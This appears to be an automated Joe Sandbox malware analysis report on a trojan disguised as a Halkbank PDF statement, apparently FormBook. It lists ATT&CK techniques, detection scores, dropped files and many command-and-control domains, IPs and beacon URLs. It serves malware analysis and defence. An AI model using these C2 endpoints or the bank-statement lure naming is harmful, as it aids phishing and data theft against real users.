Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Deobfuscate/Decode Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	1 Clipboard Data	Scheduled Transfer	14 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	11 Software Packing	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	2 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	25 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe	36%	ReversingLabs	Win32.Trojan.Nsisx
Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe	44%	Virustotal		Browse
Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\vokkqsp.exe	100%	Avira	HEUR/AGEN.1213060
C:\Users\user\AppData\Local\Temp\vokkqsp.exe	13%	ReversingLabs	Win32.Trojan.Pwsx

Unpacked PE Files

Source	Detection	Scanner	Label	Download
1.2.vokkqsp.exe.650000.1.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
3.2.vokkqsp.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
1.2.vokkqsp.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1213060	Download File
1.0.vokkqsp.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1213060	Download File
3.0.vokkqsp.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1213060	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.searchvity.com/?dn=	100%	URL Reputation	malware
http://www.searchvity.com/	100%	URL Reputation	malware
http://www.fluxgreenn.space	0%	Avira URL Cloud	safe
http://www.ixirwholesale.xyz/ghii/	0%	Avira URL Cloud	safe
http://ladybillplanet.com/ghii/?1LM=nNwsU5RDSztrDyxRHILLs79A8ojzBVjbvYOj2DqB/Q3esj8ZmeFlGSz1p8lC	100%	Avira URL Cloud	malware
http://www.de-nagel.com/ghii/	0%	Avira URL Cloud	safe
http://www.sem-jobs.com/ghii/	0%	Avira URL Cloud	safe
http://www.cutgang.net/ghii/?1LM=ZjEpLe7oxQ70uLnf6hiyuc6pu0EMckSA0PTIEH8mULBl4PD4NIfksCJCZa9jgfqw8h	0%	Avira URL Cloud	safe
http://www.de-nagel.com/h	0%	Avira URL Cloud	safe
http://www.nortonseecurity.com/ghii/	0%	Avira URL Cloud	safe
http://www.assilajamiart.com/ghii/	0%	Avira URL Cloud	safe
http://www.wenzid4.top	0%	Avira URL Cloud	safe
http://www.octohoki.net/ghii/	100%	Avira URL Cloud	malware
http://www.cutgang.net/ghii/	0%	Avira URL Cloud	safe
http://www.octohoki.net	100%	Avira URL Cloud	malware
http://www.7dkjhk.com	0%	Avira URL Cloud	safe
http://www.cutgang.net	0%	Avira URL Cloud	safe
http://www.hubyazilim.com/ghii/	100%	Avira URL Cloud	malware
http://www.energybig.xyz/ghii/	100%	Avira URL Cloud	malware
http://www.ladybillplanet.com	0%	Avira URL Cloud	safe
http://www.de-nagel.com	0%	Avira URL Cloud	safe
http://www.assilajamiart.com	0%	Avira URL Cloud	safe
http://www.bemmulher.online/ghii/	0%	Avira URL Cloud	safe
http://www.bemmulher.online	0%	Avira URL Cloud	safe
http://www.sem-jobs.com	0%	Avira URL Cloud	safe
http://www.energybig.xyz/ghii/?1LM=Hsu0eFbPaPXvQj1driY9Qb+UxIEGydZDMi24Zx/KBNJzrILAD6eOCtsvvO79CgG5LYmF38wKy0LUujLv+r7tqaEj2Tcyyr5eEg==&kTj=94JTJ5e-oG	100%	Avira URL Cloud	malware
http://www.yeah-go.com/ghii/	0%	Avira URL Cloud	safe
http://www.7dkjhk.com/ghii/	100%	Avira URL Cloud	malware
http://www.genuineinsights.cloud/ghii/	100%	Avira URL Cloud	malware
http://www.energybig.xyz	100%	Avira URL Cloud	malware
http://www.ladybillplanet.com/ghii/	100%	Avira URL Cloud	malware
http://www.genuineinsights.cloud	100%	Avira URL Cloud	phishing
http://www.octohoki.net/ghii/?1LM=mbPzPtZ0Er8L5pad82wwGh9ocqcT3a4VC5lEcjpUbblZCC9rEfNiJ4Zzn4lMJLJJ2TaA1od8FsE8LCEUSFIleqyuhYHktxRXxg==&kTj=94JTJ5e-oG	100%	Avira URL Cloud	malware
http://www.wenzid4.top/ghii/?1LM=MOY5/0rZkCSn1x8B5kGxcu4kjN12BC26NMBU4rUAiJ09dU/WDm+Fx0Du9tK3DtQGeLOXEwxSHBLi0tUrRAF6AgWuiPHLLIEAEQ==&kTj=94JTJ5e-oG	100%	Avira URL Cloud	malware
http://www.genuineinsights.cloud/ghii/?1LM=b9pmEiWE3A9hICRLJ48/0GIWTdcguNEQkRUuEoMGZR2jfpcIS7+82C+h9uoa2hbDMoucG0FStkg6AqIGzw0t5RnkbE2XBG6Jig==&kTj=94JTJ5e-oG	100%	Avira URL Cloud	malware
http://www.wenzid4.top/ghii/	100%	Avira URL Cloud	malware
http://www.fluxgreenn.space/ghii/	0%	Avira URL Cloud	safe
http://www.ixirwholesale.xyz	0%	Avira URL Cloud	safe
http://www.nortonseecurity.com	0%	Avira URL Cloud	safe
http://www.yeah-go.com	0%	Avira URL Cloud	safe
http://www.hubyazilim.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.genuineinsights.cloud	66.96.162.149	true	true	unknown
ladybillplanet.com	66.235.200.146	true	true	unknown
cutgang.net	194.102.227.30	true	true	unknown
www.energybig.xyz	184.94.215.91	true	true	unknown
parkingpage.namecheap.com	198.54.117.212	true	false	high
www.wenzid4.top	107.148.8.96	true	true	unknown
www.octohoki.net	unknown	unknown	true	unknown
www.cutgang.net	unknown	unknown	true	unknown
www.ladybillplanet.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.octohoki.net/ghii/	true	Avira URL Cloud: malware	unknown
http://www.energybig.xyz/ghii/	true	Avira URL Cloud: malware	unknown
http://www.energybig.xyz/ghii/?1LM=Hsu0eFbPaPXvQj1driY9Qb+UxIEGydZDMi24Zx/KBNJzrILAD6eOCtsvvO79CgG5LYmF38wKy0LUujLv+r7tqaEj2Tcyyr5eEg==&kTj=94JTJ5e-oG	true	Avira URL Cloud: malware	unknown
http://www.ladybillplanet.com/ghii/	true	Avira URL Cloud: malware	unknown
http://www.genuineinsights.cloud/ghii/	true	Avira URL Cloud: malware	unknown
http://www.wenzid4.top/ghii/?1LM=MOY5/0rZkCSn1x8B5kGxcu4kjN12BC26NMBU4rUAiJ09dU/WDm+Fx0Du9tK3DtQGeLOXEwxSHBLi0tUrRAF6AgWuiPHLLIEAEQ==&kTj=94JTJ5e-oG	true	Avira URL Cloud: malware	unknown
http://www.genuineinsights.cloud/ghii/?1LM=b9pmEiWE3A9hICRLJ48/0GIWTdcguNEQkRUuEoMGZR2jfpcIS7+82C+h9uoa2hbDMoucG0FStkg6AqIGzw0t5RnkbE2XBG6Jig==&kTj=94JTJ5e-oG	true	Avira URL Cloud: malware	unknown
http://www.octohoki.net/ghii/?1LM=mbPzPtZ0Er8L5pad82wwGh9ocqcT3a4VC5lEcjpUbblZCC9rEfNiJ4Zzn4lMJLJJ2TaA1od8FsE8LCEUSFIleqyuhYHktxRXxg==&kTj=94JTJ5e-oG	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.fluxgreenn.space	explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	colorcpl.exe, 00000005.00000003.383541410.0000000007BF6000.00000004.00000020.00020000.00000000.sdmp, -912K03JO.5.dr	false		high
http://www.cutgang.net/ghii/	explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	-912K03JO.5.dr	false		high
http://www.hubyazilim.com/ghii/	explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.sem-jobs.com/ghii/	explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://search.yahoo.com?fr=crmas_sfpf	colorcpl.exe, 00000005.00000003.383541410.0000000007BF6000.00000004.00000020.00020000.00000000.sdmp, -912K03JO.5.dr	false		high
http://www.ixirwholesale.xyz/ghii/	explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ladybillplanet.com/ghii/?1LM=nNwsU5RDSztrDyxRHILLs79A8ojzBVjbvYOj2DqB/Q3esj8ZmeFlGSz1p8lC	colorcpl.exe, 00000005.00000002.570570309.0000000005F50000.00000004.10000000.00040000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.cutgang.net	explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.de-nagel.com/ghii/	explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.cutgang.net/ghii/?1LM=ZjEpLe7oxQ70uLnf6hiyuc6pu0EMckSA0PTIEH8mULBl4PD4NIfksCJCZa9jgfqw8h	colorcpl.exe, 00000005.00000002.571083192.0000000007C19000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000002.568364047.000000000357A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.nortonseecurity.com/ghii/	explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.de-nagel.com/h	explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.octohoki.net	explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.assilajamiart.com/ghii/	explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.wenzid4.top	explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.7dkjhk.com	explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.de-nagel.com	explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ladybillplanet.com	explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.assilajamiart.com	explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.searchvity.com/?dn=	colorcpl.exe, 00000005.00000002.570570309.0000000005C2C000.00000004.10000000.00040000.00000000.sdmp	true	URL Reputation: malware	unknown
http://www.bemmulher.online/ghii/	explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000004.00000000.320111169.0000000008260000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.bemmulher.online	explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	colorcpl.exe, 00000005.00000003.383541410.0000000007BF6000.00000004.00000020.00020000.00000000.sdmp, -912K03JO.5.dr	false		high
http://www.7dkjhk.com/ghii/	explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.sem-jobs.com	explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.yeah-go.com/ghii/	explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.energybig.xyz	explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	-912K03JO.5.dr	false		high
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	colorcpl.exe, 00000005.00000003.383541410.0000000007BF6000.00000004.00000020.00020000.00000000.sdmp, -912K03JO.5.dr	false		high
http://nsis.sf.net/NSIS_ErrorError	Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe	false		high
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	colorcpl.exe, 00000005.00000003.383541410.0000000007BF6000.00000004.00000020.00020000.00000000.sdmp, -912K03JO.5.dr	false		high
https://ac.ecosia.org/autocomplete?q=	-912K03JO.5.dr	false		high
https://search.yahoo.com?fr=crmas_sfp	colorcpl.exe, 00000005.00000003.383541410.0000000007BF6000.00000004.00000020.00020000.00000000.sdmp, -912K03JO.5.dr	false		high
http://www.genuineinsights.cloud	explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.wenzid4.top/ghii/	explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.searchvity.com/	colorcpl.exe, 00000005.00000002.570570309.0000000005C2C000.00000004.10000000.00040000.00000000.sdmp	true	URL Reputation: malware	unknown
http://www.fluxgreenn.space/ghii/	explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ixirwholesale.xyz	explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.yeah-go.com	explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	-912K03JO.5.dr	false		high
http://www.hubyazilim.com	explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.nortonseecurity.com	explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
66.235.200.146	ladybillplanet.com	United States	13335	CLOUDFLARENETUS	true
66.96.162.149	www.genuineinsights.cloud	United States	29873	BIZLAND-SDUS	true
107.148.8.96	www.wenzid4.top	United States	54600	PEGTECHINCUS	true
194.102.227.30	cutgang.net	Romania	12302	VODAFONE_ROCharlesdeGaullenr15RO	true
198.54.117.212	parkingpage.namecheap.com	United States	22612	NAMECHEAP-NETUS	false
184.94.215.91	www.energybig.xyz	United States	394896	VXCHNGE-NC01US	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	811929
Start date and time:	2023-02-20 11:22:03 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@10/5@8/6
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 83.7% (good quality ratio 78.4%) Quality average: 77.8% Quality standard deviation: 30.1%
HCA Information:	Successful, ratio: 100% Number of executed functions: 79 Number of non-executed functions: 118
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, conhost.exe, backgroundTaskHost.exe
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:24:00	API Interceptor	456x Sleep call for process: explorer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
66.235.200.146	T.C.Ziraat Bankasi A.S_Ekstre_20191102_073809_405251-PDF.com.exe	Get hash	malicious	FormBook	Browse	www.ladybillplanet.com/ghii/?Y5=nNwsU5RDSztrDyxRHILLs79A8ojzBVjbvYOj2DqB/Q3esj8ZmeFlGSz1p8lC+bcuH8jypYjqHnnMah8No3XpEKoXZLS1zEAfoQ==&9WI6t=QaRcz
	Akbank_Ekstre_20191102_073809_405251-PDF.com.exe	Get hash	malicious	FormBook	Browse	www.ladybillplanet.com/ghii/?gXaj8V=nNwsU5RDSztrDyxRG6fOt7xC4ovPWgXbvYOj2DqB/Q3esj8ZmeFlGSP1p8lC+bcuH8jypYjqHnnMah8No3XkEI0UYJqWzEMypQ==&D-=o7lM_tn4_0HKLAP
	T.C.Ziraat Bankasi A.S_Ekstre_20191102_073809_405251-PDF.com.exe	Get hash	malicious	FormBook	Browse	www.ladybillplanet.com/ghii/?uyr=nNwsU5RDSztrDyxRHILLs79A8ojzBVjbvYOj2DqB/Q3esj8ZmeFlGSz1p8lC+bcuH8jypYjqHnnMah8No3XkProQXaSL0hAuoA==&IlOzNN=EyIBgfI12Z
	captain.exe	Get hash	malicious	FormBook	Browse	www.ladybillplanet.com/ghii/?5B=nNwsU5RDSztrDyxRHILLs79A8ojzBVjbvYOj2DqB/Q3esj8ZmeFlGSz1p8lC+bcuH8jypYjqHnnMah8No3XpEKoXZLS1zEAfoQ==&Z-y-ON=FXxQJAlmPf
	http___185.246.221.143_pl2.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.yaman-style.com/d06c/?mHC=gEJ54mFIwRh66Ae6L7uGyLYGbeEQfdX/4cHILN4O14RF/7dAwvjZyXpBwE928WLZwse/&7n=7nWd7RmXyP1LGne
	nXfhmoy82p.exe	Get hash	malicious	FormBook	Browse	www.adattatoreit.com/m8on/?JBZ8=tALdn/sPTp4U4YS3OCFDtGFGnrRVrAVtTe8mQyWGdpVxOyMH4EszkIkYcOXeyZElzKa8XQc1mLvwfdFuiif4BOKPTFRhIgwAZXK5koi8yaz7&j6A=T45T1VQPUrjXf2Op
	H4oimu4PlB.exe	Get hash	malicious	FormBook	Browse	www.flachick.com/aoj8/?y8Q=Wr9Dm/5SzM41BnlvUv1k3Y7jKSw9TQocHWKX+hoCdrCgVTGjQgdGKKK3lW4KeS50fuEi1WQ8xU7Scka8099Dik7n7alAjpMOOutQUsEftEWN&i2=Phup26RPJ8Nd8Zg
	FEI9BuaEmY.exe	Get hash	malicious	FormBook	Browse	www.yourcustommattress.co.uk/8awd/
	Forwarded.exe	Get hash	malicious	FormBook	Browse	www.iceboring.com/hy3h/?s6-=08HH0NEmiNcN62W2MNEFKyqBvrt6Dxuxurp87k8T2npS1Cca/SILOQgoLROT1jik7ir4qizsjIR0SPe+HTHY2MS2FT7bqA8m9g==&Kxl0i=6lGLHtnpT
	qEHhJqcore.exe	Get hash	malicious	FormBook	Browse	www.iceboring.com/fuyb/?S4=u2JHH4d8zh-de&hZRh9l-=wqXCX8OhtvSlHAZwOfBWnOfZ/R2p/G6DdWl1tzf/7jxUDzpEBU+k0liEEKvagZgTd6jKHbMDh7HhDdjpxPwHtUvgTfkP1qfC5w==
	go8foToOYf.exe	Get hash	malicious	FormBook	Browse	www.iceboring.com/fuyb/?4hLpo=FBZdp6&jL0=wqXCX8OhtvSlHAZwOfBWnOfZ/R2p/G6DdWl1tzf/7jxUDzpEBU+k0liEEKvagZgTd6jKHbMDh7HhDdjpxPwCk2HXZOkxzIbj4g==
	3ieckSO4EL.exe	Get hash	malicious	FormBook	Browse	www.iceboring.com/fuyb/?4hDtov1=wqXCX8OhtvSlHAZwOfBWnOfZ/R2p/G6DdWl1tzf/7jxUDzpEBU+k0liEEKvagZgTd6jKHbMDh7HhDdjpxPwCk2HXZOkxzIbj4g==&a2MTP4=yHAl2XfPqvFt4j
